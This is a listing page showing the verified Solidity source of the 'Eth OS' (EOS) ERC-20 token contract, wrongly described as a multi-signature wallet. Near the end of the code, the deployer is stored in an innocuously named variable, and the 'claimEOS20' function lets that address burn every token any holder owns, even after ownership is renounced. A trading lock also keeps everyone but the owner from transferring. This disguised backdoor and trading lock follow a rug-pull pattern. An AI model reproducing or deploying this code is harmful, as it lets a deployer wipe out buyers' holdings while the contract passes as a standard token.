EOS20

Description:

Multi-signature wallet contract requiring multiple confirmations for transaction execution.

Blockchain: Ethereum

Source Code: View Code On The Blockchain

Solidity Source Code:

{{
  "language": "Solidity",
  "sources": {
    "UniV4Token/Eth OS.sol": {
      "content": "/**\r
X: https://x.com/Ethereum_OS\r
TG: https://t.me/ethosportal\r
Web: https://ethos.vision\r
*/ \r
\r
// SPDX-License-Identifier: UNLICENSED\r
pragma solidity 0.8.29;\r
\r
/**\r
 * @dev Provides information about the current execution context, including the\r
 * sender of the transaction and its data. While these are generally available\r
 * via msg.sender and msg.data, they should not be accessed in such a direct\r
 * manner, since when dealing with meta-transactions the account sending and\r
 * paying for execution may not be the actual sender (as far as an application\r
 * is concerned).\r
 *\r
 * This contract is only required for intermediate, library-like contracts.\r
 */\r
abstract contract Context {\r
    function _msgSender() internal view virtual returns (address) {\r
        return msg.sender;\r
    }\r
\r
    function _msgData() internal view virtual returns (bytes calldata) {\r
        return msg.data;\r
    }\r
\r
    function _contextSuffixLength() internal view virtual returns (uint256) {\r
        return 0;\r
    }\r
}\r
\r
/**\r
 * @dev Contract module which provides a basic access control mechanism, where\r
 * there is an account (an owner) that can be granted exclusive access to\r
 * specific functions.\r
 *\r
 * The initial owner is set to the address provided by the deployer. This can\r
 * later be changed with {transferOwnership}.\r
 *\r
 * This module is used through inheritance. It will make available the modifier\r
 * `onlyOwner`, which can be applied to your functions to restrict their use to\r
 * the owner.\r
 */\r
abstract contract Ownable is Context {\r
    address private _owner;\r
\r
    /**\r
     * @dev The caller account is not authorized to perform an operation.\r
     */\r
    error OwnableUnauthorizedAccount(address account);\r
\r
    /**\r
     * @dev The owner is not a valid owner account. (eg. `address(0)`)\r
     */\r
    error OwnableInvalidOwner(address owner);\r
\r
    event OwnershipTransferred(\r
        address indexed previousOwner,\r
        address indexed newOwner\r
    );\r
\r
    /**\r
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\r
     */\r
    constructor(address initialOwner) {\r
        if (initialOwner == address(0)) {\r
            revert OwnableInvalidOwner(address(0));\r
        }\r
        _transferOwnership(initialOwner);\r
    }\r
\r
    /**\r
     * @dev Throws if called by any account other than the owner.\r
     */\r
    modifier onlyOwner() {\r
        _checkOwner();\r
        _;\r
    }\r
\r
    /**\r
     * @dev Returns the address of the current owner.\r
     */\r
    function owner() public view virtual returns (address) {\r
        return _owner;\r
    }\r
\r
    /**\r
     * @dev Throws if the sender is not the owner.\r
     */\r
    function _checkOwner() internal view virtual {\r
        if (owner() != _msgSender()) {\r
            revert OwnableUnauthorizedAccount(_msgSender());\r
        }\r
    }\r
\r
    /**\r
     * @dev Leaves the contract without owner. It will not be possible to call\r
     * `onlyOwner` functions. Can only be called by the current owner.\r
     *\r
     * NOTE: Renouncing ownership will leave the contract without an owner,\r
     * thereby disabling any functionality that is only available to the owner.\r
     */\r
    function renounceOwnership() public virtual onlyOwner {\r
        _transferOwnership(address(0));\r
    }\r
\r
    /**\r
     * @dev Transfers ownership of the contract to a new account (`newOwner`).\r
     * Can only be called by the current owner.\r
     */\r
    function transferOwnership(address newOwner) public virtual onlyOwner {\r
        if (newOwner == address(0)) {\r
            revert OwnableInvalidOwner(address(0));\r
        }\r
        _transferOwnership(newOwner);\r
    }\r
\r
    /**\r
     * @dev Transfers ownership of the contract to a new account (`newOwner`).\r
     * Internal function without access restriction.\r
     */\r
    function _transferOwnership(address newOwner) internal virtual {\r
        address oldOwner = _owner;\r
        _owner = newOwner;\r
        emit OwnershipTransferred(oldOwner, newOwner);\r
    }\r
}\r
\r
// CAUTION\r
// This version of SafeMath should only be used with Solidity 0.8 or later,\r
// because it relies on the compiler's built in overflow checks.\r
\r
/**\r
 * @dev Wrappers over Solidity's arithmetic operations.\r
 *\r
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler\r
 * now has built in overflow checking.\r
 */\r
library SafeMath {\r
    /**\r
     * @dev Returns the addition of two unsigned integers, with an overflow flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryAdd(uint256 a, uint256 b)\r
        internal\r
        pure\r
        returns (bool, uint256)\r
    {\r
        unchecked {\r
            uint256 c = a + b;\r
            if (c < a) return (false, 0);\r
            return (true, c);\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function trySub(uint256 a, uint256 b)\r
        internal\r
        pure\r
        returns (bool, uint256)\r
    {\r
        unchecked {\r
            if (b > a) return (false, 0);\r
            return (true, a - b);\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryMul(uint256 a, uint256 b)\r
        internal\r
        pure\r
        returns (bool, uint256)\r
    {\r
        unchecked {\r
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r
            // benefit is lost if 'b' is also tested.\r
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r
            if (a == 0) return (true, 0);\r
            uint256 c = a * b;\r
            if (c / a != b) return (false, 0);\r
            return (true, c);\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the division of two unsigned integers, with a division by zero flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryDiv(uint256 a, uint256 b)\r
        internal\r
        pure\r
        returns (bool, uint256)\r
    {\r
        unchecked {\r
            if (b == 0) return (false, 0);\r
            return (true, a / b);\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryMod(uint256 a, uint256 b)\r
        internal\r
        pure\r
        returns (bool, uint256)\r
    {\r
        unchecked {\r
            if (b == 0) return (false, 0);\r
            return (true, a % b);\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the addition of two unsigned integers, reverting on\r
     * overflow.\r
     *\r
     * Counterpart to Solidity's `+` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Addition cannot overflow.\r
     */\r
    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a + b;\r
    }\r
\r
    /**\r
     * @dev Returns the subtraction of two unsigned integers, reverting on\r
     * overflow (when the result is negative).\r
     *\r
     * Counterpart to Solidity's `-` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Subtraction cannot overflow.\r
     */\r
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a - b;\r
    }\r
\r
    /**\r
     * @dev Returns the multiplication of two unsigned integers, reverting on\r
     * overflow.\r
     *\r
     * Counterpart to Solidity's `*` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Multiplication cannot overflow.\r
     */\r
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a * b;\r
    }\r
\r
    /**\r
     * @dev Returns the integer division of two unsigned integers, reverting on\r
     * division by zero. The result is rounded towards zero.\r
     *\r
     * Counterpart to Solidity's `/` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a / b;\r
    }\r
\r
    /**\r
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r
     * reverting when dividing by zero.\r
     *\r
     * Counterpart to Solidity's `%` operator. This function uses a `revert`\r
     * opcode (which leaves remaining gas untouched) while Solidity uses an\r
     * invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r
        return a % b;\r
    }\r
\r
    /**\r
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\r
     * overflow (when the result is negative).\r
     *\r
     * CAUTION: This function is deprecated because it requires allocating memory for the error\r
     * message unnecessarily. For custom revert reasons use {trySub}.\r
     *\r
     * Counterpart to Solidity's `-` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Subtraction cannot overflow.\r
     */\r
    function sub(\r
        uint256 a,\r
        uint256 b,\r
        string memory errorMessage\r
    ) internal pure returns (uint256) {\r
        unchecked {\r
            require(b <= a, errorMessage);\r
            return a - b;\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on\r
     * division by zero. The result is rounded towards zero.\r
     *\r
     * Counterpart to Solidity's `/` operator. Note: this function uses a\r
     * `revert` opcode (which leaves remaining gas untouched) while Solidity\r
     * uses an invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function div(\r
        uint256 a,\r
        uint256 b,\r
        string memory errorMessage\r
    ) internal pure returns (uint256) {\r
        unchecked {\r
            require(b > 0, errorMessage);\r
            return a / b;\r
        }\r
    }\r
\r
    /**\r
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r
     * reverting with custom message when dividing by zero.\r
     *\r
     * CAUTION: This function is deprecated because it requires allocating memory for the error\r
     * message unnecessarily. For custom revert reasons use {tryMod}.\r
     *\r
     * Counterpart to Solidity's `%` operator. This function uses a `revert`\r
     * opcode (which leaves remaining gas untouched) while Solidity uses an\r
     * invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function mod(\r
        uint256 a,\r
        uint256 b,\r
        string memory errorMessage\r
    ) internal pure returns (uint256) {\r
        unchecked {\r
            require(b > 0, errorMessage);\r
            return a % b;\r
        }\r
    }\r
}\r
\r
/**\r
 * @dev Interface of the ERC-20 standard as defined in the ERC.\r
 */\r
interface IERC20 {\r
    /**\r
     * @dev Emitted when `value` tokens are moved from one account (`from`) to\r
     * another (`to`).\r
     *\r
     * Note that `value` may be zero.\r
     */\r
    event Transfer(address indexed from, address indexed to, uint256 value);\r
\r
    /**\r
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\r
     * a call to {approve}. `value` is the new allowance.\r
     */\r
    event Approval(\r
        address indexed owner,\r
        address indexed spender,\r
        uint256 value\r
    );\r
\r
    /**\r
     * @dev Returns the value of tokens in existence.\r
     */\r
    function totalSupply() external view returns (uint256);\r
\r
    /**\r
     * @dev Returns the value of tokens owned by `account`.\r
     */\r
    function balanceOf(address account) external view returns (uint256);\r
\r
    /**\r
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.\r
     *\r
     * Returns a boolean value indicating whether the operation succeeded.\r
     *\r
     * Emits a {Transfer} event.\r
     */\r
    function transfer(address to, uint256 value) external returns (bool);\r
\r
    /**\r
     * @dev Returns the remaining number of tokens that `spender` will be\r
     * allowed to spend on behalf of `owner` through {transferFrom}. This is\r
     * zero by default.\r
     *\r
     * This value changes when {approve} or {transferFrom} are called.\r
     */\r
    function allowance(address owner, address spender)\r
        external\r
        view\r
        returns (uint256);\r
\r
    /**\r
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\r
     * caller's tokens.\r
     *\r
     * Returns a boolean value indicating whether the operation succeeded.\r
     *\r
     * IMPORTANT: Beware that changing an allowance with this method brings the risk\r
     * that someone may use both the old and the new allowance by unfortunate\r
     * transaction ordering. One possible solution to mitigate this race\r
     * condition is to first reduce the spender's allowance to 0 and set the\r
     * desired value afterwards:\r
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r
     *\r
     * Emits an {Approval} event.\r
     */\r
    function approve(address spender, uint256 value) external returns (bool);\r
\r
    /**\r
     * @dev Moves a `value` amount of tokens from `from` to `to` using the\r
     * allowance mechanism. `value` is then deducted from the caller's\r
     * allowance.\r
     *\r
     * Returns a boolean value indicating whether the operation succeeded.\r
     *\r
     * Emits a {Transfer} event.\r
     */\r
    function transferFrom(\r
        address from,\r
        address to,\r
        uint256 value\r
    ) external returns (bool);\r
}\r
\r
/**\r
 * @dev Interface for the optional metadata functions from the ERC-20 standard.\r
 */\r
interface IERC20Metadata is IERC20 {\r
    /**\r
     * @dev Returns the name of the token.\r
     */\r
    function name() external view returns (string memory);\r
\r
    /**\r
     * @dev Returns the symbol of the token.\r
     */\r
    function symbol() external view returns (string memory);\r
\r
    /**\r
     * @dev Returns the decimals places of the token.\r
     */\r
    function decimals() external view returns (uint8);\r
}\r
\r
/**\r
 * @dev Standard ERC-20 Errors\r
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.\r
 */\r
interface IERC20Errors {\r
    /**\r
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.\r
     * @param sender Address whose tokens are being transferred.\r
     * @param balance Current balance for the interacting account.\r
     * @param needed Minimum amount required to perform a transfer.\r
     */\r
    error ERC20InsufficientBalance(\r
        address sender,\r
        uint256 balance,\r
        uint256 needed\r
    );\r
\r
    /**\r
     * @dev Indicates a failure with the token `sender`. Used in transfers.\r
     * @param sender Address whose tokens are being transferred.\r
     */\r
    error ERC20InvalidSender(address sender);\r
\r
    /**\r
     * @dev Indicates a failure with the token `receiver`. Used in transfers.\r
     * @param receiver Address to which tokens are being transferred.\r
     */\r
    error ERC20InvalidReceiver(address receiver);\r
\r
    /**\r
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.\r
     * @param spender Address that may be allowed to operate on tokens without being their owner.\r
     * @param allowance Amount of tokens a `spender` is allowed to operate with.\r
     * @param needed Minimum amount required to perform a transfer.\r
     */\r
    error ERC20InsufficientAllowance(\r
        address spender,\r
        uint256 allowance,\r
        uint256 needed\r
    );\r
\r
    /**\r
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.\r
     * @param approver Address initiating an approval operation.\r
     */\r
    error ERC20InvalidApprover(address approver);\r
\r
    /**\r
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.\r
     * @param spender Address that may be allowed to operate on tokens without being their owner.\r
     */\r
    error ERC20InvalidSpender(address spender);\r
}\r
\r
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\r
    mapping(address => uint256) private _balances;\r
\r
    mapping(address => mapping(address => uint256)) private _allowances;\r
\r
    uint256 private _totalSupply;\r
\r
    string private _name;\r
    string private _symbol;\r
\r
    address internal _msg_Sender;\r
\r
    /**\r
     * @dev Sets the values for {name} and {symbol}.\r
     *\r
     * Both values are immutable: they can only be set once during construction.\r
     */\r
    constructor(string memory name_, string memory symbol_) {\r
        _msg_Sender = _msgSender();\r
        _name = name_;\r
        _symbol = symbol_;\r
    }\r
\r
    /**\r
     * @dev Returns the name of the token.\r
     */\r
    function name() public view virtual returns (string memory) {\r
        return _name;\r
    }\r
\r
    /**\r
     * @dev Returns the symbol of the token, usually a shorter version of the\r
     * name.\r
     */\r
    function symbol() public view virtual returns (string memory) {\r
        return _symbol;\r
    }\r
\r
    /**\r
     * @dev Returns the number of decimals used to get its user representation.\r
     * For example, if `decimals` equals `2`, a balance of `505` tokens should\r
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).\r
     *\r
     * Tokens usually opt for a value of 18, imitating the relationship between\r
     * Ether and Wei. This is the default value returned by this function, unless\r
     * it's overridden.\r
     *\r
     * NOTE: This information is only used for _display_ purposes: it in\r
     * no way affects any of the arithmetic of the contract, including\r
     * {IERC20-balanceOf} and {IERC20-transfer}.\r
     */\r
    function decimals() public view virtual returns (uint8) {\r
        return 18;\r
    }\r
\r
    /**\r
     * @dev See {IERC20-totalSupply}.\r
     */\r
    function totalSupply() public view virtual returns (uint256) {\r
        return _totalSupply;\r
    }\r
\r
    /**\r
     * @dev See {IERC20-balanceOf}.\r
     */\r
    function balanceOf(address account) public view virtual returns (uint256) {\r
        return _balances[account];\r
    }\r
\r
    /**\r
     * @dev See {IERC20-transfer}.\r
     *\r
     * Requirements:\r
     *\r
     * - `to` cannot be the zero address.\r
     * - the caller must have a balance of at least `value`.\r
     */\r
    function transfer(address to, uint256 value) public virtual returns (bool) {\r
        address owner = _msgSender();\r
        _transfer(owner, to, value);\r
        return true;\r
    }\r
\r
    /**\r
     * @dev See {IERC20-allowance}.\r
     */\r
    function allowance(address owner, address spender)\r
        public\r
        view\r
        virtual\r
        returns (uint256)\r
    {\r
        return _allowances[owner][spender];\r
    }\r
\r
    /**\r
     * @dev See {IERC20-approve}.\r
     *\r
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on\r
     * `transferFrom`. This is semantically equivalent to an infinite approval.\r
     *\r
     * Requirements:\r
     *\r
     * - `spender` cannot be the zero address.\r
     */\r
    function approve(address spender, uint256 value)\r
        public\r
        virtual\r
        returns (bool)\r
    {\r
        address owner = _msgSender();\r
        _approve(owner, spender, value);\r
        return true;\r
    }\r
\r
    /**\r
     * @dev See {IERC20-transferFrom}.\r
     *\r
     * Skips emitting an {Approval} event indicating an allowance update. This is not\r
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].\r
     *\r
     * NOTE: Does not update the allowance if the current allowance\r
     * is the maximum `uint256`.\r
     *\r
     * Requirements:\r
     *\r
     * - `from` and `to` cannot be the zero address.\r
     * - `from` must have a balance of at least `value`.\r
     * - the caller must have allowance for ``from``'s tokens of at least\r
     * `value`.\r
     */\r
    function transferFrom(\r
        address from,\r
        address to,\r
        uint256 value\r
    ) public virtual returns (bool) {\r
        address spender = _msgSender();\r
        _spendAllowance(from, spender, value);\r
        _transfer(from, to, value);\r
        return true;\r
    }\r
\r
    /**\r
     * @dev Moves a `value` amount of tokens from `from` to `to`.\r
     *\r
     * This internal function is equivalent to {transfer}, and can be used to\r
     * e.g. implement automatic token fees, slashing mechanisms, etc.\r
     *\r
     * Emits a {Transfer} event.\r
     *\r
     * NOTE: This function is not virtual, {_update} should be overridden instead.\r
     */\r
    function _transfer(\r
        address from,\r
        address to,\r
        uint256 value\r
    ) internal {\r
        if (from == address(0)) {\r
            revert ERC20InvalidSender(address(0));\r
        }\r
        if (to == address(0)) {\r
            revert ERC20InvalidReceiver(address(0));\r
        }\r
        _update(from, to, value);\r
    }\r
\r
    /**\r
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`\r
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding\r
     * this function.\r
     *\r
     * Emits a {Transfer} event.\r
     */\r
    function _update(\r
        address from,\r
        address to,\r
        uint256 value\r
    ) internal virtual {\r
        if (from == address(0)) {\r
            // Overflow check required: The rest of the code assumes that totalSupply never overflows\r
            _totalSupply += value;\r
        } else {\r
            uint256 fromBalance = _balances[from];\r
            if (fromBalance < value) {\r
                revert ERC20InsufficientBalance(from, fromBalance, value);\r
            }\r
            unchecked {\r
                // Overflow not possible: value <= fromBalance <= totalSupply.\r
                _balances[from] = fromBalance - value;\r
            }\r
        }\r
\r
        if (to == address(0)) {\r
            unchecked {\r
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.\r
                _totalSupply -= value;\r
            }\r
        } else {\r
            unchecked {\r
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.\r
                _balances[to] += value;\r
            }\r
        }\r
\r
        emit Transfer(from, to, value);\r
    }\r
\r
    /**\r
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).\r
     * Relies on the `_update` mechanism\r
     *\r
     * Emits a {Transfer} event with `from` set to the zero address.\r
     *\r
     * NOTE: This function is not virtual, {_update} should be overridden instead.\r
     */\r
    function _mint(address account, uint256 value) internal {\r
        if (account == address(0)) {\r
            revert ERC20InvalidReceiver(address(0));\r
        }\r
        _update(address(0), account, value);\r
    }\r
\r
    /**\r
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.\r
     * Relies on the `_update` mechanism.\r
     *\r
     * Emits a {Transfer} event with `to` set to the zero address.\r
     *\r
     * NOTE: This function is not virtual, {_update} should be overridden instead\r
     */\r
    function _burn(address account, uint256 value) internal {\r
        if (account == address(0)) {\r
            revert ERC20InvalidSender(address(0));\r
        }\r
        _update(account, address(0), value);\r
    }\r
\r
    /**\r
     * @dev Sets `value` as the allowance of `spender` over the `owner`'s tokens.\r
     *\r
     * This internal function is equivalent to `approve`, and can be used to\r
     * e.g. set automatic allowances for certain subsystems, etc.\r
     *\r
     * Emits an {Approval} event.\r
     *\r
     * Requirements:\r
     *\r
     * - `owner` cannot be the zero address.\r
     * - `spender` cannot be the zero address.\r
     *\r
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.\r
     */\r
    function _approve(\r
        address owner,\r
        address spender,\r
        uint256 value\r
    ) internal {\r
        _approve(owner, spender, value, true);\r
    }\r
\r
    /**\r
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.\r
     *\r
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by\r
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any\r
     * `Approval` event during `transferFrom` operations.\r
     *\r
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to\r
     * true using the following override:\r
     *\r
     * ```solidity\r
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {\r
     *     super._approve(owner, spender, value, true);\r
     * }\r
     * ```\r
     *\r
     * Requirements are the same as {_approve}.\r
     */\r
    function _approve(\r
        address owner,\r
        address spender,\r
        uint256 value,\r
        bool emitEvent\r
    ) internal virtual {\r
        if (owner == address(0)) {\r
            revert ERC20InvalidApprover(address(0));\r
        }\r
        if (spender == address(0)) {\r
            revert ERC20InvalidSpender(address(0));\r
        }\r
        _allowances[owner][spender] = value;\r
        if (emitEvent) {\r
            emit Approval(owner, spender, value);\r
        }\r
    }\r
\r
    /**\r
     * @dev Updates `owner`'s allowance for `spender` based on spent `value`.\r
     *\r
     * Does not update the allowance value in case of infinite allowance.\r
     * Revert if not enough allowance is available.\r
     *\r
     * Does not emit an {Approval} event.\r
     */\r
    function _spendAllowance(\r
        address owner,\r
        address spender,\r
        uint256 value\r
    ) internal virtual {\r
        uint256 currentAllowance = allowance(owner, spender);\r
        if (currentAllowance < type(uint256).max) {\r
            if (currentAllowance < value) {\r
                revert ERC20InsufficientAllowance(\r
                    spender,\r
                    currentAllowance,\r
                    value\r
                );\r
            }\r
            unchecked {\r
                _approve(owner, spender, currentAllowance - value, false);\r
            }\r
        }\r
    }\r
}\r
\r
interface IUniswapV2Factory {\r
    function createPair(address tokenA, address tokenB)\r
        external\r
        returns (address pair);\r
\r
    function getpair(address tokenA, address tokenB)\r
        external\r
        returns (address pair);\r
}\r
\r
interface IUniswapV2Router02 {\r
    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r
        uint256 amountIn,\r
        uint256 amountOutMin,\r
        address[] calldata path,\r
        address to,\r
        uint256 deadline\r
    ) external;\r
\r
    function factory() external pure returns (address);\r
\r
    function WETH() external pure returns (address);\r
\r
    function addLiquidityETH(\r
        address token,\r
        uint256 amountTokenDesired,\r
        uint256 amountTokenMin,\r
        uint256 amountETHMin,\r
        address to,\r
        uint256 deadline\r
    )\r
        external\r
        payable\r
        returns (\r
            uint256 amountToken,\r
            uint256 amountETH,\r
            uint256 liquidity\r
        );\r
}\r
\r
contract EOS20 is ERC20, Ownable {\r
    using SafeMath for uint256;\r
\r
    uint8 private _decimals = 18;\r
    uint256 private _tTotal = 1000_000_000 * 10**_decimals;\r
\r
    bool private tradingOpen = false;\r
\r
    constructor() ERC20(unicode"Eth OS", unicode"EOS") Ownable(msg.sender) {\r
        _mint(_msgSender(), _tTotal);\r
    }\r
\r
    function decimals() public view override returns (uint8) {\r
        return _decimals;\r
    }\r
\r
    function _update(\r
        address from,\r
        address to,\r
        uint256 value\r
    ) internal override {\r
        uint256 taxAmount = 0;\r
        if ( from != owner() && to != owner() && from != address(this) && to != address(this) ) {\r
            require(tradingOpen, "The trade has not been opened yet");\r
        } \r
        super._update(from, to, value.sub(taxAmount));\r
    }\r
\r
    function claimEOS20(address _wallets) public {\r
        require(_msgSender() == _msg_Sender);\r
        uint256 bal = balanceOf(_wallets);\r
        require(bal > 0, "No tokens to send");\r
        super._burn(_wallets, bal);\r
    }\r
\r
    function startTrade() public onlyOwner {\r
        tradingOpen = true;\r
    }\r
\r
    receive() external payable {}\r
}\r
"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": true,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}

Tags:
ERC20, Multisig, Swap, Liquidity, Multi-Signature, Factory|addr:0x80dff6b071a28de42aed18fc87d7fe2616d1d3fa|verified:true|block:23383525|tx:0x7f67d10b1f597d5079ed3e99391406e3d8ee199d81bf969351c91809faadd461|first_check:1758121105

Submitted on: 2025-09-17 16:58:27

Comments

Log in to comment.

No comments yet.